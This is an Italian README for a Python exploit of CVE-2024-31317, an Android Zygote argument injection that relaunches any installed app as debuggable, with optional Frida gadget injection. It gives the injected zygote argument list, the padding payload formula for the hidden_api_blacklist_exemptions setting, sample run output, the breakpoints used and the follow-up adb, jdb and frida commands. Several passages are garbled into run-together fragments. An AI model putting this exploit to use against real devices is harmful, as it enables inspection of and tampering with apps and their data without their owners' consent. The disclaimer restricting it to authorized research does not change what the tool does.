
CVE-2024-31317 Exploit di App Debuggabile
Un exploit basato su Python per CVE-2024-31317 (Iniezione Zygote Android) che rende qualsiasi app Android installata debuggabile iniettando argomenti zygote malevoli tramite l'impostazione hidden_api_blacklist_exemptions. Include iniezione opzionale del gadget Frida per hooking runtime.
Questo exploit sfrutta una vulnerabilità di command injection nel processo Zygote di Android per avviare le applicazioni target con il flag debuggable abilitato. Ciò consente il debug JDWP e l'ispezione di qualsiasi app senza bisogno di accesso root o della versione debug dell'app.
Basato sulla ricerca di: Analisi di Flanker su CVE-2024-31317
Intuizione chiave: "il campo runtime-flags in ZygoteArguments può effettivamente essere utilizzato per abilitare l'attributo debuggable di un'applicazione."
runtime-flags=65535 per abilitare il debugppadb, jdwplibPosiziona i seguenti file nella stessa directory:
├── CVE-2024-31317-Debuggable.py # Script exploit principale
├── jdwplib.py # Libreria client JDWP
├── app-debug.apk # App helper debuggabile
├── frida-gadget-android-*.so # Gadget Frida (opzionale)
├── frida-gadget.config.so # Configurazione Frida (opzionale)
└── win32/adb.exe # Binario ADB per Windows
python CVE-2024-31317-Debuggable.py
Lo script ti chiederà di selezionare una modalità di rilevamento dei parametri:
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Rilevamento automatico parametri
[2] Valori hardcoded
Modalità (1/2) [1]:
Fase 1: Estrazione startSeq
startSeq dai frame dello stackFase 2: Iniezione degli argomenti Zygote
runtime-flags=65535 (debuggable)hidden_api_blacklist_exemptionsFase 3: Post-sfruttamento
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Rilevamento automatico parametri
[2] Valori hardcoded
Modalità (1/2) [1]: 1
[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701
Inject Frida? (y/N):
Modifica le costanti in cima allo script:
TARGET_APP = "com.debug.configurator" # Modifica con il pacchetto target
DEBUG_APP = "com.debug.app" # App helper debuggabile
DEBUG_APK = "app-debug.apk" # File APK per l'app helper
Modalità di rilevamento automatico (consigliata):
pm list packages -U per ottenere UIDdumpsys package per ottenere instruction set e directory datiModalità hardcoded:
Dopo che l'exploit ha successo, puoi opzionalmente iniettare il gadget Frida:
Inject Frida? (y/N): y
Lo script farà:
frida-gadget.so a /data/local/tmp/run-asLo script prova questi breakpoint in ordine di affidabilità:
I breakpoint principali dovrebbero attivarsi automaticamente. Se scade il timeout, tocca l'app per attivare i breakpoint di riserva.
Dopo un'iniezione riuscita:
# Connettiti al gadget
frida -H 127.0.0.1:27042 -n Gadget
# Elenca i processi
frida-ps -H 127.0.0.1:27042
Una volta che l'exploit ha successo, l'app target è in esecuzione con debug abilitato:
Connettiti con il debugger JDWP:
jdb -attach localhost:8701
Usa il debugger di Android Studio - Collega al processo sulla porta inoltrata
Usa Frida - Se il gadget è stato iniettato tramite lo script
CVE-2024-31317 è una vulnerabilità di command injection nel processo Zygote di Android. Manipolando l'impostazione di sistema hidden_api_blacklist_exemptions con input appositamente predisposti, possiamo iniettare argomenti zygote arbitrari all'avvio di un'app.
Estrazione startSeq: Ogni avvio di app ha un numero di sequenza unico. Lo estraiamo da un'app debuggabile tramite JDWP ispezionando le variabili dei frame dello stack.
Costruzione del payload: Costruiamo argomenti zygote includendo:
--runtime-args
--setuid=<uid_target>
--setgid=<gid_target>
--runtime-flags=65535 # Abilita tutti i flag di debug
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<pacchetto>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<arch>
--app-data-dir=<dir_dati>
--package-name=<pacchetto>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
Iniezione: Il payload è iniettato nell'impostazione di sistema con padding specifico per Android 12+:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
Attivazione: Forza l'arresto e riavvia l'app target, che si avvia con i nostri argomenti iniettati e il flag debuggable abilitato.
L'iniezione Frida funziona:
Runtime.load() per caricare la libreria condivisa del gadget Frida"Failed to get startSeq"
"No breakpoint hit" durante l'iniezione Frida
Connessione Frida rifiutata
adb forward --listadb forward tcp:27042 tcp:27042Questo strumento è destinato esclusivamente a scopi educativi e di ricerca di sicurezza autorizzata. Usalo solo su dispositivi di tua proprietà o per i quali hai esplicita autorizzazione scritta per testare. L'accesso non autorizzato a sistemi informatici è illegale e non etico. Gli autori non sono responsabili per qualsiasi uso improprio di questo strumento.
Licenza MIT - Vedi file LICENSE per i dettagli.
| Classe | Metodo | Attivatore |
|---|
android.os.MessageQueue | next | Automatico - il looper principale interroga costantemente |
android.os.Binder | execTransact | Automatico - qualsiasi chiamata IPC/binder |
android.app.ActivityThread | handleMessage | Automatico - handler principale dell'app |
android.os.Handler | dispatchMessage | Automatico - invio messaggi |
android.os.Handler | handleMessage | Automatico - gestione messaggi |
android.view.Choreographer | doFrame | Automatico - callback frame |
android.view.View | dispatchTouchEvent | Manuale - richiede tocco |
android.view.View | onDraw | Manuale - richiede ridisegno UI |